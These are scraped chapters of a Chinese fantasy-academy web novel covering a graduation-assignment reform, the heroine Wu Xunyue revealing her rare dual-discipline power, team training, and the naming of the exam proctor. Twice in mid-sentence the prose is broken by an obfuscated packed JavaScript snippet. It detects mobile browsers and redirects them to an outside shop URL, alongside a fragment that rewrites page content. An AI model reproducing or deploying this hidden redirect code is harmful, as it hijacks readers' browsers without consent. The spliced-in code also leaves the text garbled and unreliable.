三、若各专业前三名毕业生所投志愿非本专业队伍,则不占用志愿名额。 在座一位同学诧异大喊:“——什么叫不与前三名志愿选投重复?” 其余人纷纷附和:“是啊是啊,什么意思啊?难道是前三名选过的就不会再分配了?” “天啊?只有前三名可以自己选?那我们岂不是大部分人都要听从分配?那还不如改革之前所有人都能自己选呢!” “可是那样的话就只有十一个人能进十一令啊,现在是所有人都能进了……” 同学们各自都抓到了重点,按照改革之前的规定,毕业生的诉求是只要进入十一令就行,因此会在毕业大考中拼尽全力考前十一名,以争取一席之地。而改革之后所有人都能进,诉求转变为进入十一令中的哪一个,而只有前三名才能自主做出选择,因此,核心竞争变为了争夺毕业大考中的前三名。 可前三名哪是那么容易撼动的,升入高年级后,中下游成绩排名起起落落,而前三名的格局几乎不再变动,强者恒强。也就是说,大家此刻心里都有数究竟是哪几个人才有自主选择权了。 东方曜收到了来自同学们羡慕的目光——巫寻月倒是无人搭理,真灵级毕业生完全被排除在规则之外,她爱怎么着怎么着。 完全不必参与竞争,巫寻月觉得,自己这一名当得真没意思。 一片嘈杂中,梅亦书发了话:“现在跟大家进行一下说明,听好了——就拿强攻系来说,强攻系一共四令,按照你们在座来说,强攻系同学有八人,其中前三名可自由选择,所以有可能出现最极端的情况就是,三位同学分别进入一令,另外五位同学,就只能全部进入剩下那一令了,也就是说,有一支队伍会拥有五位优秀毕业生……” 哗然再起:“天啊,怎么会这样……” “五位毕业生进同一支队伍!这也太极端了吧!” “为什么要这样啊……” 梅亦书高声安抚道:“这也只是最极端的情况,并且只会发生在强攻系,考虑到这种情况并不普遍,天听阁和学校都认为是可以允许存在的。若是控制系的同学则会更均衡一些,控制系一共六令,现有十位毕业生,若前三各选一令,那么剩下七位同学分配进其他三令,也还算是较为平均的……” “每次都是我们强攻系竞争最激烈!真是的!” “控制系真好啊,早知道我当初选控制系了……” “得了吧,你要选控制系你还能坐在这儿?” 自知之明的同学自然是有的。简而言之,控制系人数少而精,即便学生基数没那么多,却占据了更多的优秀毕业生席位,延伸到封号灵师之中,同样如此。 一支队伍里有多少优秀毕业生,按照现有规则来说并无影响,衔级不限制人数,席位赛该怎么打还是怎么打。可到底在毕业生心中的分量变了,从前一令一人,自己便是万众瞩目独一无二,现在竟有这么多同学一起,自然是有落差的。 可到底优秀毕业生无需驻外五年,且得座首重视,有机会亲传,这对谁来说都是无上的诱惑。 有人举手发问:“老师,第三条又是什么意思呢?” 梅亦书看向他,笑道:“我记得你是控制系的,就拿你来说,如果你考到了控制系前三名,可以自行选择,但你觉得自己更适合强攻系的某个队伍,比如二部令,且强攻系的前三名也没有选二部令,那么二部令就不算被前三名占了名额,依然可以参与后面同学的分配。” 议论再起:“这有意思吗?谁考了前三名还选非自己专业的啊?” “就是,成绩那么好就是奔着自己心仪的队伍去的,必定也是一直研习那位封座大人的术法……” 七嘴八舌之中,梅亦书再度高压发话:“好了好了,志愿的事你们之后自己再聊,现在说第二件重要的事——” 说到这里,梅亦书给了冷夷行一个眼神,知道他不爱说话,也就继续说了下去:“很多同学也知道了,优秀毕业生作为毕业大考首发阵容,你们就是第一支队伍,是一个整体团队,一同接受问心尊者的终极考核,所以从明天起,就由冷老师带着你们一同训练——” 众人一听,有的难掩惊惧,有的膛目结舌,朝黎赶紧扯着巫寻月悄悄说:“冷老师带,那得多狠啊……” 而另一头也有同学说:“别紧张,冷老师自夫人生了孩子以后,这两年脾性温和多了……” 正说着,一直默不作声的冷夷行终于开口说了第一句话:“考前训练的模式与以往完全不同,对你们非同小可,明日辰时四刻,万映湖渡口集合,切勿迟到,也最好不要请假。” 话音落下,巫寻月和朝黎交换了一个惊讶的眼神,这语气还真是比从前温和了不少。 梅亦书笑眯眯地继续说:“冷老师有着很丰富的带毕业班的经验,你们要学会培养团队作战能力、协同能力,学着怎么共同通过问心尊者的考验。老师知道,你们之中有竞争,所以这也是毕业大考要考核的目的之一,要你们在竞争和合作中做出选择,学着怎么相互配合、相互协作,以适应将来入列之后,要与同僚们形成更紧密的团结。” 这的确是大家基本都知道的,七年级上学期毕业生各自外出修炼,团队训练一向从下学期开学、距离毕业大考还有一个半月时间开始。 梅亦书最后强调道:“最后,有件事你们该知道,往年若是出现真灵级毕业生,为了让真灵级毕业生发挥出真灵级力量,也就必须对你们用以真灵级的力量环境——大家放心,问心尊者拥有极高神识,绝对公正,依旧会以你们九重灵的水准给出评定,从无错判、漏判,因此,在往后的训练和考试中,大家会感到难度明显增加,都不要紧张,完成自己该做的,老师们自有评定。” 说这话时,大家纷纷看向巫寻月,她心里一乐——这可总算是有了点第一名的实感。 有人举手发问:“老师,请问出现隐灵级毕业生的时候……也是这样吗?” 众人闻言,全都聚精会神地盯着梅亦书,没有人不想知道这个答案——因为最近一位隐灵级毕业生毕业于十一年前,正是司城凛。 梅亦书笑了笑,回答道:“司城宗主毕业的那年……是独立考核的,并未参与团队作战,因为问心尊者一定会映照出你们每个人真实的自己,我们也左右不了。因此,由于隐灵级的实力对于你们过于悬殊,若将你们置于隐灵级的作战环境,你们根本没有出手的机会,所以最终,司城宗主就只能单独考核了。” 哗然四起:“我的天,这也太帅了……” “的确如此,你们都忘了前几日那永夜降临了吗?要我现在见到那术法,我不得吓死……” 众人哄笑:“哈哈哈哈哈……” 之后,两位老师便离开,留空间给他们自由讨论了。 老师们一走,就有一位同学站起来明牌:“我不进十一令,我今年投天听阁,不参与你们的竞争。” 那人是控制系第三名,所以其余控制系同学纷纷惊喜:“真的吗?” 的确,改革之后,也只有各专业前三名的明牌才具备意义了。至于为什么是前三名,巫寻月猜想,除了老师说的那种极端情况以外,按照平均分配的原则,一支队伍最多能分到三名优秀毕业生,这样才能保证其他队伍至少分到一名。 但无论如何,这场改革之中医疗系无人受伤。正说着,南义宸从边上过来了,走到巫寻月和朝黎面前,脸上是明显的喜出望外:“这样看来,今年改革倒还是有利于我们医疗系的,不然我还不知道要如何与你们争呢。” 他便是二班的第一名,第三位医疗系九重灵以上。事实上,今年改革与否,于他都不影响,医疗系看起来是三争一,其实朝黎要进桑府,而巫寻月是真灵,所以实质是一争一,南义宸一定能进十部令。 巫寻月还得暗自感谢他,还好有他进十部令,否则十部令无优秀毕业生可收,她更有愧于桑川禾。 朝黎调皮得很,不客气地说:“你倒是运气好得很,今年咱们医疗系三位优秀毕业生,一位真灵,一位是桑家人,改不改革其实都于你无碍,是不是?” 南义宸也是谦虚,陪笑道:“的确是我运气好,若是往年,我可就没机会了。” 医疗系这边平静得很,强攻系和控制系那边却吵翻了天,三位医疗系事不关己,就先走了。巫寻月觉得心中烦闷,便一路上山,失神间人已来到观星台,偶然抬眼发现已无去路,才立定凭栏。 三月的风还带着凉意,却已揉进了山间大片野樱与桃花的暖香,远天薄云如纱,十余里外的神都城廓在淡淡的晨霭中静卧,城中最高建筑十八灵宗巨像以“叠罗汉”之姿巍然屹立。而另一处显眼建筑,则是将都城四分的钟楼,红墙绿瓦,像一枚巨大的印玺,整座都城由此徐徐铺开,跃然纸上。 天地壮阔,愈发衬得人心事渺小。巫寻月正出神,一道低沉绵长的声音飘然入耳,仿佛来自尘世之外:“早啊,寻月。” 巫寻月稍有一惊,一抬头,梅晏晷慈爱的笑容正在她身后。她立马恭敬站直,行礼道:“校长……早。” 梅晏晷缓缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16920926|188673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来到她身边,也往远处望去,说:“今日该向你们公布毕业志愿改革方案了,是听了发觉与自己无关,早早离了清静?” 巫寻月也调皮一番:“是啊,怕他们见我如此事不关己,惹他们心烦,还是让他们眼不见为净。” 梅晏晷出声笑了起来,巫寻月也一同笑。 而后,梅晏晷又试问:“你可觉得这改革有何不妥?” “此方法必是您耗费心力所思虑的最佳折中之法了,”巫寻月认真说,“同学们各有诉求,而同学们背后是各位家长,十一令负责接收也参与其中,毕业志愿涉及多方利益,如何都不能保全所有,不妥自然是有,可于大局来说,已然是最佳解法。” 梅晏晷面露满意,却未在看她。他提步往一边走,巫寻月知趣跟随,听见他开口说:“此法也非我一人之力,上学期我就将此议案提至天听阁,经诸位阁老、十一令座首与梅家族老、学校老师等多方商议,一直到前几日才定了下来……” “竟是如此复杂……”巫寻月着实吃惊,“难怪听老师说寒假时您常在学校办公,原来都是为了我们,还……” ——还遭受梅见蹊如此悖逆行径。但她最终咽了下去。 梅晏晷寥寥一笑,似乎并不在意,又说:“这数月商讨期间,各方有不同的立场,就有不同的考量和意见,方案改了一次又一次,总会出现新的问题而不能平衡,若非如此,该早些公布,好让你们更有准备……噢,我是说他们,于你倒是无碍。” 巫寻月笑得很恣意,并未掩饰些许傲气,问:“十一令与天听阁对您的改革可都是支持的?” “开始倒是无人反对,毕竟优秀毕业生人数超十一人已经很多很多年了,无法全数接纳的问题存在已久。” “原来并没有那么多优秀毕业生吗?” “很早的时候学校也没有那么多学生,随着我族繁衍生息,不断壮大,孩子们越来越多,生源也才逐渐扩大,梅家先祖也得随之不断研究,以提升教育水平,”梅晏晷说着又笑了起来,“孩子们越来越强,我是既高兴,也忧愁,看着先祖们的画像,好像没人同我一般有诸多白发……” “校长为我们苦心孤诣,但求我将来能有出息,不辜负校长您才好。”巫寻月也笑了,而后折回又问:“那之后可有反对之声?” 梅晏晷看向远方,目光深长,像在回忆:“有人提出既然改革出发点是全部接收优秀毕业生,那就应该取消成绩排名,改为自由投报,由十一令从名单中挑选。可立刻有人反对说,这样一来,不按成绩,那就是按关系了,此举会引发神都世族之间相互竞争猜忌,比拼人脉,各自拉拢,十一令也会陷入博弈,绝不可行。” 巫寻月说:“是啊,且毕业生之间是明牌,若是一同竞争,恐会有所针对,好战期前夕绝不可使世族之间不宁。” 梅晏晷点点头,继续道:“所以便有人提出,改革虽好,但不可将矛盾从学生内部竞争转为十一令内部竞争,此为大忌。” 巫寻月出奇一问:“说这话的人,可是十一令某位座首?” 梅晏晷看了眼她调皮的眼神,回答道:“是百舸争流阁老。” 巫寻月一怔:“百舸……争流阁老?上次去天听阁匆匆一见,怪我眼拙,似是不太有印象了。” 梅晏晷一笑,并不意外:“百舸阁老并不是那么令人印象深刻,他性情温平,一心干实事,平日也不大走动,虽一同开了几十年的议事会,我与他却也无太多私交。” “不在十一令,却能如此替十一令着想,百舸阁老还真是公正中直呢,”巫寻月接着好奇道,“巽青行巽阁老可是无太多意见?” “寻月观人准确,巽阁老的确话不多,她是天听阁中脾性最像十一令的阁老,也是一位武痴,”梅晏晷点点头,看似是赏识,“虽意见不多,却很擅于选择正确意见。” 巫寻月斗胆猜测:“武痴?该不会是强攻系灵师?” 梅晏晷笑了:“的确,武痴多是强攻系灵师,这刻板印象倒是不好改了。” “哈哈哈哈……” 两人说笑间,让这对话显得更像闲聊,而非那严肃枯燥的天听阁议事会。梅晏晷接着说:“后来有人提出设置各令接收人数上限为两人或三人,可如你所说,毕业生之间是明牌局,如何都会商议出各自匹配的选法,而十一令中的热门队伍也是众所周知的,那就有可能出现有的报满,而有的空档,有损十一令声誉和形象。接着就有人提出封闭独立填报志愿,可如此也不能解决随机性带来的空档问题……” “的确是如此……”巫寻月听了进去,不由自主跟着蹙眉,仿佛自己也变成了焦头烂额的议事会成员,“如若不然,从前也不会粗暴规定十一令只能各自接收一人。” “还有人提出,让毕业生按名次前十一名先选投,必须一人一令,”梅晏晷摆摆手,意为反对,“此法弊端明显,若是后位学生可重复选择,那学生们就可能会消极应考,以让自己落入十一名之后,宁做鸡头不做凤尾。” 巫寻月佩服得有些呆住了:“校长,此改革还真是……甚为复杂,有太多应对之法了……” “最后拟定此法,虽会在强攻系中出现最极端情况,但于控制系和医疗系倒是无碍,”说到此处,梅晏晷歪脑袋向她,有些调皮道,“寻月可猜猜,为何众人会最终通过只于强攻系明显有碍的方案?” 58. 第 58 章 见校长如此嬉闹,巫寻月便大胆说了:“……因为强攻系的座首们大多是武痴?不关心政治争斗,收不收、收多少毕业生也无所谓,可以……冒犯一二?甚至被冒犯也不自知?” “哈哈哈哈……”梅晏晷纵声大笑,“你这话太胡闹了些,可不许再说与人听。” 巫寻月很配合:“是是是,寻月胡言乱语,也只敢在这里跟您说说,到了外面——保证乖乖的!” 梅晏晷停下了脚步,转向巫寻月,敛了笑意,却始终慈祥:“此番我前去议事,有不少人向我询问你的毕业去向,自然也有人去问桑宗主,可他也是笑而不语。” 到了巫寻月这里,可就光剩个不语,连笑也是不敢了。她心思流转,小心翼翼试探着:“可我是医疗系,阁老和座首们该是觉得没有悬念的,怎还会问……” 梅晏晷看出她在套话,可看不出她究竟想套什么——梅见蹊说过的,他老爹技能全点智商了,情商是一点没有。她就是想知道——司城凛有没有问啊! 梅晏晷只好答:“真灵毕业生终归是少有,我与老司城宗主相差六十年,而在你之前的上一位真灵毕业生,也已是十一年前了。” 巫寻月稍退一步,行了礼:“这都要感谢校长您的悉心栽培。” 梅晏晷一摆手:“你如此天分,我栽不栽培你都一样,我还是那句话,神都学宫最终想教会你们的,正是如何找到自己心之所向。” 巫寻月心潮间泛起涟漪,水波阵阵,声势渐起,最终翻涌成浪潮,一下将她掀了个底朝天。突然她神色一定,抬头道:“校长,我……有件事,一直瞒着您。” 梅晏晷好像并不意外,却配合着应了声:“哦?” 巫寻月先是向他躬身行礼,接而后退拉开稍远,站定。灵流涌动,风波骤起,带起她的发须与裙裾,下一秒,她眼神赫然一狠,身后轰然乍现数十道冲天月白灵缎,威力惊震,令观星台霎时间为之微微一颤。 相比起初试,这灵缎更大、更清晰、更稳定,不似起初只有半透,如今的真灵级灵缎,已完完全全以她的月白之色,化为实体,攻势自成威仪。 巫寻月抬右手运灵,向前一伸,漫天灵缎跟随她操控向前,直冲梅晏晷之身。他纹丝不动,饶有兴趣地看着,眉眼略含笑意,那来势汹汹的灵缎到了他近前却赫然停下,化为乖巧之相浮于他面前。 梅晏晷抬手相触,只见那灵缎在他掌间穿梭如火,仿若不存在,却在这触摸间,将自己的真身尽然展露,连同不远处那施术之人灵脉深处的秘密也一一告知。 “噢……”梅晏晷露出了真心的惊叹,颇为欣赏地点了点头,“我还未见过如此华丽且温柔的必杀技,这很适合你。” 巫寻月将灵缎收回,观星台上恢复如常,她即刻赶来行礼赔罪:“校长,学生失礼了。” 梅晏晷双手背身,笑中慈爱愈发之深:“上次与你相见,虽已猜到你有修炼双修之意,也知你不是好大喜功的外露性子,之后便一直静候佳音……寻月,你没有让我失望。” 巫寻月还在躬身作揖,梅晏晷将她扶起,声音里欢欣得很:“在我任校长之年,竟还得见一位控制系医疗系双修之才,寻月,我该感谢你,我也不枉做这校长百年了。” “校长,您言重了……” “不不不,”梅晏晷由衷地说,“你们这些小朋友很难明白,我们这些老东西,活得久了,虽期盼但也最不喜欢的便是平平无奇,有时候觉得如此岁月静好于大局为好,可有时候心里也会有期盼,盼着一颗天降紫薇来打破这平静……” 巫寻月有些不好意思了,自谦道:“校长您是见过隐灵级毕业生的人,与此相比,我哪敢堪比天降紫薇呢。” 梅晏晷当然知道她在说谁,摇摇头,道:“你与司城宗主根骨不同,各有长处,他大开大合之相注定是控制系灵师,若有心修习双修,于他灵脉无益。而你的草木之灵融合罡烈之气,也是前所未有,此两者相斥再相融,才能相辅相成,注定会让你比别人需要更久的调息时间。” 巫寻月极钦佩地望着梅晏晷,道:“校长,您说得没错,自我修成控制系必杀技,越发感觉调息困难,苦恼已久却又不敢诉说,还担心是自己练出了岔子,恐有一天会突然异变呢……” 梅晏晷发笑几声,提点道:“永远不要自作聪明,小朋友,你们永远是需要大人的。” “是……” “若你信得过,可还去找西老师,我会让她为你打造一套调息之法,灵力相斥不是小事,切不可自己胡来。” “好。”巫寻月立刻答应了。 梅晏晷继续把刚才没说完的话说完:“所以,你与司城宗主各有长处,也各有难处,他的根骨注定得以迅猛提升却难以双修,而你的根骨天然为双修所生,却也累于两者相斥,若想继续提升,需得花费比别人更多的功夫。在你升入真灵境前,两者不够强大,你尚还感觉不到,可从真灵开始,此两者越发强大,日后,你会越发感到困难。” 巫寻月真诚颔首:“学生多谢校长提点,一定谨记在心。” “天才总是背负得更多,这也是你们心之所向,是不是?” 巫寻月抬眼,对上梅晏晷温然笑意,相视间,她默认了这个提问。于是,梅晏晷接着说:“若觉得对桑宗主为难,我可代你去与他讲明。” “校长,谢谢您,”巫寻月浅浅一笑,“桑宗主待我很好,如此重要的事,我该自己去面见他。” “好。” 梅晏晷转了身,重新望向观星台外。薄云渐渐被暖阳冲散了,远处的神都城变得清晰起来,彩彻区明,如用水彩翻新了一般。 巫寻月走到他近旁,听到他又问:“在学校这七年,觉得如何?” 巫寻月鼻尖一酸,忍了忍,才说:“我……永远也不会忘记在学校的日子。” 梅晏晷颇为欣慰地笑了:“那就好,许多人都这么说,这就是神都学宫存在的意义。” 梅晏晷最后告诉巫寻月,她是双修真灵这件事,得需告诉带他们毕业训练的冷夷行,他会制定合适的训练之法。 巫寻月和狄乐凰情况确实不一样,狄乐凰虽是双修却依旧是九重灵,于他人无碍,只照常自我发挥即可,不必提前告知。而巫寻月,其实,她一直在找合适的时机,现下全然了解了毕业大考的形式,既然涉及所有同学,那的确是时候了。 第二天一早,冷夷行就在万映湖渡口等他们,全员按时到达,无一人敢迟到。之后冷夷行带他们到万映河谷,告诉他们今日训练依旧是生成拟态环境,以让大家在幻象中作战。按照学校的安排,巫寻月自然还是在医疗系方阵,负责辅助和治疗。 开始之前,巫寻月举手喊住了冷夷行,她深吸口气,缓缓走到冷夷行身边,一同面向所有同学,公布了自己是控制系医疗系双修真灵这件事。 话音落下,一片惊哗之中,巫寻月轰然放出灵压,同学们来不及多想,纷纷运灵抵挡。一片沉压之中,只有冷夷行双手抱胸,全然若定,但一向面无表情的他听了,也难掩愕然,若说强攻系控制系双修他倒还是见过不少,可控制系医疗系……可真是千古罕有。 证明够了,巫寻月收回灵压,大家的行动也随之恢复如常,可震惊之相却未能收回。朝黎先和南义宸相视一眼,然后大喊:“姐们——你真的!” 而东方曜,惊异之中却也有一丝黯然——他终于彻彻底底明白,自己无论如何努力,都再无追赶上她的可能了。 既如此,冷夷行也发了话:“既如此,虽事发突然,却也来得及,老师知道该怎么做,你们放心。” 冷夷行转身带他们进入河谷,开始了毕业大考模拟训练。 令巫寻月意外的是,团队拟态作战可比个人独立作战有意思多了,若是个人战,很容易就能看出破绽,可团队战由于相互不了解,看到对方被攻击或受伤,总是会真的紧张,从而发挥实力。 第一天的训练并没有大家想象中的可怕,每个人都算应付自如,所以显得十分亢奋,直呼仿佛到了真正的战场,虽然有不少人挂了彩——现在他们终于明白为什么是冷夷行来带他们毕业训练了,因为冷夷行是真敢打他们——但大家依旧兴致勃勃期待下一次的训练。 第二天的总结会上,梅亦书夸赞大家首场表现不错——梅亦书纯粹就是来发表表扬和鼓励的,因为她知道冷夷行不会说好话。接着她话锋一转,又说:“但这也只是个开始,之后每一次的训练都会增加难度。” 到真正毕业大考之前,一共有五次训练。第二次,难度虽有增加,但大家觉得尚能正常应付。到了第三次,便只能勉强应付过关。 到了第四次,医疗系三人以九重灵之力已无法覆盖全员辅助,终将巫寻月逼出了医疗系真灵级必杀技。 最后一次,真灵级的攻击直冲全场,逼巫寻月大开控制系必杀技,力挽狂澜。 经此一役,所有人无不拜服,训练结束后,大家纷纷来对她说,虽然此次最凶险,最艰难,身上也带了伤,但能得见双修真灵级必杀技,值了。 巫寻月双修真灵之名早已传遍全校,紧接着大家才终于意识到——她的就业去向不再局限,而成为了最大的谜! 最先来找巫寻月的人,是东方曜。巫寻月今年二十二岁,东方曜十八岁,他终于完全褪去稚气,成为了和她一样、与她辨不出长幼的成年人。 东方曜直问:“你是不是要选控制系队伍?” 巫寻月不瞒他:“是。” 东方曜难掩激动,又说:“那……你可想去九部令?” 别人问这问题,巫寻月心里都会抖一抖,生怕是她的心事被发现,唯独东方曜,这小子人高马大但憨头憨脑,心思全写脸上了。巫寻月直截了当地告诉他:“东方曜,我真当你弟弟,咱俩没可能。” “我……”东方曜当即想否认,可转念一想,如此不磊落非君子所为,只会让她更加轻视,便换了说法,“……可我也想知道你选什么。” 巫寻月沉了口气,说实话:“我也没彻底想定,但你放心——我绝对不会去九部令。” 要是她去了九部令,司城凛就变成了她的直属上司。勾引自己直属上司……这得多尴尬啊,想想她就犯怵。虽然狄乐凰当初是这么干的,但那是因为她清楚言萧鹤心里有她,人家直接奔着前脚入职后脚当座首夫人去的,根本没有尴尬期,这和巫寻月的情况大相径庭。 东方曜略有失望,怔怔说了声:“……放心?” “小弟弟,见不到我对你是好事,”巫寻月对他并不冷漠,但也毫无情意,完全就像慕丹青对慕学文那样,“别老盯着我了,赶紧找个对象吧。” 巫寻月也是奇了怪了,为什么她喜欢和喜欢她的男人们都扎堆在九部令啊,他们要是都坐一桌……那场面不敢想有多尴尬。 要说燕云停、东方曜与司城凛有没有共同点——有,的确莫名会给巫寻月些微的相似感。燕云停和司城凛更像,看她的眼神都带着一种从容的松弛,这也是让她几度迷失的原因。 桑川禾说得没错,座首为标杆,总是慢慢地就会吸引崇拜他的人聚集过来,或许他们像司城凛,也正源于此。 巫寻月双修真灵的事传遍学校,自然也传遍了十一令,该知道的人也都知道了。 将近半年过去,燕云停并没有放弃她,男人真是追逐的动物,你越是不爱他,他越是爱你。但他稳重自持,也极有分寸,知道再直接出现只会惹她厌烦,但也从未放弃提醒她他的存在,知道他待她始终真心。 可太晚了。巫寻月想过,若燕云停在她四五年级时出现——慕丹青不在的那两年,她孤苦无依,闷闷不乐,那她真的可能会爱上他,接受他,放弃对司城凛可怜的幻想。可现在,太晚了,她已经走到这一步了,已经走到了毕业前夕,现在就算是天王老子来了也无法阻止她走向他。 毕业大考前的一周,休养生息,该吃吃,该睡睡,调整状态。 毕业大考前夜,巫寻月依靠着小白坐在山巅,盯着神都城方向,出神地喃喃:“小白,你说我到底能行吗?” “算了,问你也是白问,对你来说都是小意思,我干什么你都觉得肯定行。” 说到这里,巫寻月才突然惊觉地大叫起来:“——小白!那问心尊者是个什么样的灵兽啊!不会是个兽类吧!万一闻到你的气息当场给我跪了呢!” 小白缩着耳朵往后退,鄙夷地瞪她一眼。巫寻月赶紧上去给她揉耳朵:“好好好,我错了我错了,小猫咪听觉敏感,我不该这么大声——你赶紧说啊!问心尊者到底是什么灵兽?” 小白说,问心尊者是一只灵猿,灵识仅次于上古灵兽,即便亲见上古灵兽也不会轻易臣服,这她倒是可以放心。不过,若问心尊者从她身上察觉出巨翼幽虎的气息,那倒是有些难办。 所以小白想出了一个办法——打她,真打,要打伤,然后她给自己治一治,就能伪装成她遭遇了巨翼幽虎,巨翼幽虎好心放了她的假 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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巫寻月只求她们快别说了。但无论如何,七年时间一过,她们终究是一同长大了,一同走到了今天。 巫寻月伸出手,眼眶有些湿润:“——来!祝我们今天都能顺利毕业!” 三个女孩陆续把手搭上去,相视间皆是笑泪交加,然后一同呐喊:“——顺利毕业!” 属于巫寻月的毕业大考,终于还是来了。四人一同迈出宿舍门槛,踏进五月清晨的朝阳,前往她们的战场。 今年观星台的送行人群格外爆满,两旁的观众席间站满了来送行的学弟学妹以及毕业生家长。而巫寻月的亲友团也不少,慕丹青、枫若恒和秦艽都来了,燕云停也来了。 巫寻月笑着走向他们,最激动的是秦艽:“啊啊啊寻月你也太帅了!” “这衣服是帅,”巫寻月臭美得很,说着又好好打量了自己,“丹青毕业那年我就拿来试了试,日思夜想都在等着自己穿上这一天。” 慕丹青哼了声,酸溜溜地说:“哪有你神气,压边都是金丝线,乌金鹍绣的也是织金——真灵级毕业生待遇啊!” 巫寻月看向枫若恒,说:“这人好酸啊,管管。” 枫若恒笑了:“我哪敢,再说了,我也羡慕啊——是不是,云停?” 巫寻月的视线就此转移到燕云停身上,突然与她对视,他心跳漏了一拍,嘴边扯出一个镇定而浅淡的笑:“是啊,但也只有寻月穿着最合适。” 慕丹青和枫若恒别过脸当没听见。巫寻月也一笑,只说:“谢谢。” 燕云停又说:“听说你在冷老师的考前训练中所遇凶险无比,为了逼你出必杀技,得对所有人下狠手,今日大考切勿紧张,别给自己太大压力,无论如何都有监考官在,他不会坐视不管的。” 巫寻月轻轻点了点头:“好。” 慕丹青接过话:“寻月,你还记得我跟你说过真正的毕业大考比模拟考更加真实可怖吗?且你是真灵,还不知会遭遇什么更危险的情景,需得有心理准备。” “好,我记着呢,”巫寻月紧握她的手,忽而一笑,算是给自己打气,又问,“对了,你们可知道今年监考官是谁?” “这还真没听说,且一向都是当日公布的。”慕丹青说着,转头向两位求证,枫若恒摇了摇头。而燕云停,先是有所犹豫,最终还是摇了摇头。 巫寻月最后压了压慕丹青的手,冲她一笑:“我心里有数,放心吧。” 仅作为礼貌,巫寻月相继再看了秦艽、枫若恒、燕云停一眼,转身走向了内场。 随着巫寻月往前,见到她的人越来越多,人潮掀起一阵又一阵欢呼巨浪。燕云停望着她的倩影,嘴角扬起一个骄傲的笑容。此时慕丹青说:“上一次送行仪式这阵仗,还是乐凰毕业那一年呢,一转眼都六年了……” 枫若恒说:“再上一次是司城封座毕业那年,这明星人物还得隔几年出现一个呀。” 燕云停说:“只有她是完全凭实力赢得这些喝彩的。” 燕云停这话说得不错,狄乐凰和司城凛自带身份,而巫寻月,若她只靠皮相却只是个九重灵,不会有此阵仗,今天来看她的人,多半是冲着她真灵之身——且,还是灵族史上唯一的控制系医疗系双修真灵。 毕业生首发区站位随机,可所有人自动把最中间的位置让给了巫寻月,只有朝黎敢先靠近,于是两人便挨着站在了中间。 时间近了,一袭深红色长袍的梅晏晷也来到了会场,学生们一路向他问好,他永远慈目,不厌其烦地点头回应,直到步入了高台。 梅晏晷立在高台中央,都不必像冷夷行那样出双臂,他一开口,灵波四震,将他的声音轰然放大至全场——“欢迎远道而来的各位毕业生家长以及亲友们,在今日与我和神都学宫诸位老师一起,为我们今年的毕业生举行毕业大考送行仪式。” 一阵鼓掌欢呼之后,梅校长摆了摆手,表情有些调皮:“今年我们的毕业大考监考官……他的人气可能会超过在列的毕业生,希望大家冷静一些,能给我们的毕业生学长学姐们更多的关注。” 全场惊叫爆起的同时,巫寻月浑身猛然一震——这措辞,这形容,全长隐洲难道还有第二个人? 等不及她做好准备,后方人群已翻起排山倒海般的欢呼尖叫,身边同学们纷纷回头,巫寻月不由得一同看了过去—— 司城凛一袭玄青色广袖长袍,正迈上最后一级台阶,在成百上千双注目的簇拥下,缓缓朝前走来。 59. 第 59 章 这一刻,全世界的声色退去,巫寻月眼中只剩下了那道身影。 随着司城凛步步靠近,那张不可一世的俊颜也越来越放大清晰——他也在看她,目光穿越人海,就那么准确地锁在了她身上。不知从何时起,但自她一转身,就对上了他的眼睛。 巫寻月呼吸凝滞,风和日丽的天,指尖却凉得发颤。狄乐凰啊狄乐凰,我们的命运竟是如此惊人地相似。 很快司城凛便收回目光,从会场左侧绕上高台。巫寻月迟迟才和同学们一同转身回来,朝黎在她身边激动地说了许多,她根本一个字也听不见。 然后她发现,方才同学们将正中的位置留给了她,也就是说——待司城凛上台之后,她会正对着他。 巫寻月倒吸一口凉气,余光中已见那道玄青色的身影于台上拔地而起,高直如山。司城凛上了台,与梅晏晷交换眼神后,向他恭敬行礼,才继续朝前,与梅晏晷一道站在了中央。 那高台有半人高,巫寻月盯着别处,没看他;而他视线放向远处,也没看她。 梅晏晷任由学生们激动了好一会儿,等尖叫声自然低落了些,才介绍道:“让我们欢迎今年毕业大考的监考官——九部令,司城封座。” 巫寻月发现,似乎是跟司城凛太熟,又或者真的将他当做子侄,梅晏晷介绍他没有往年介绍别人那么热情。 而司城凛,淡淡地扫了全场一眼,道:“我是司城凛。” 又是一个话少的,好在有阵阵惊叫声替他捧场。 梅晏晷无奈地笑了笑,说:“这位……我就不介绍了,你们对他的了解,兴许比我还多。”场下涌起笑声一片,梅晏晷继续说:“但还是着重对毕业生说明——司城封座执掌的九部令偏好综合能力全面的控制系学子,且司城封座本人的遁术在封号灵师中无人能出其右,我这个老东西也是有些追不上了……” 四起的笑声中,司城凛谦谨地向梅晏晷微微颔首。梅晏晷接着说:“而他的封印类控术在封号灵师中也属出神入化,你们六年级课本中部分术法的心法便是由他创造的……” 这并不属于热知识,听到此处激起的惊呼不小。 梅晏晷看起来骄傲极了,好像那是他亲儿子似的——或许他还真这么想。梅晏晷最后说:“今年由于毕业志愿改革,我们能有更多的优秀毕业生进入十一令,想选九部令的同学,可要好好表现,毕竟——九部令的环境和月例是真的如外界所传那么好。” 在一片席卷全场的爆笑声结束之后,司城凛低沉地开了口:“毕业大考为尔等人生中首件大事,不可轻敌,也切勿慌张,本座会一路随行,确保你们所有人安全完成考试。” 掌声雷动之间,巫寻月咬着嘴唇没让自己笑出来,她在想——乐凰啊乐凰,他好像比你的言封座有点人情味,会说话那么一点。 梅晏晷最终宣布:“现在我宣布——毕业生列阵。” 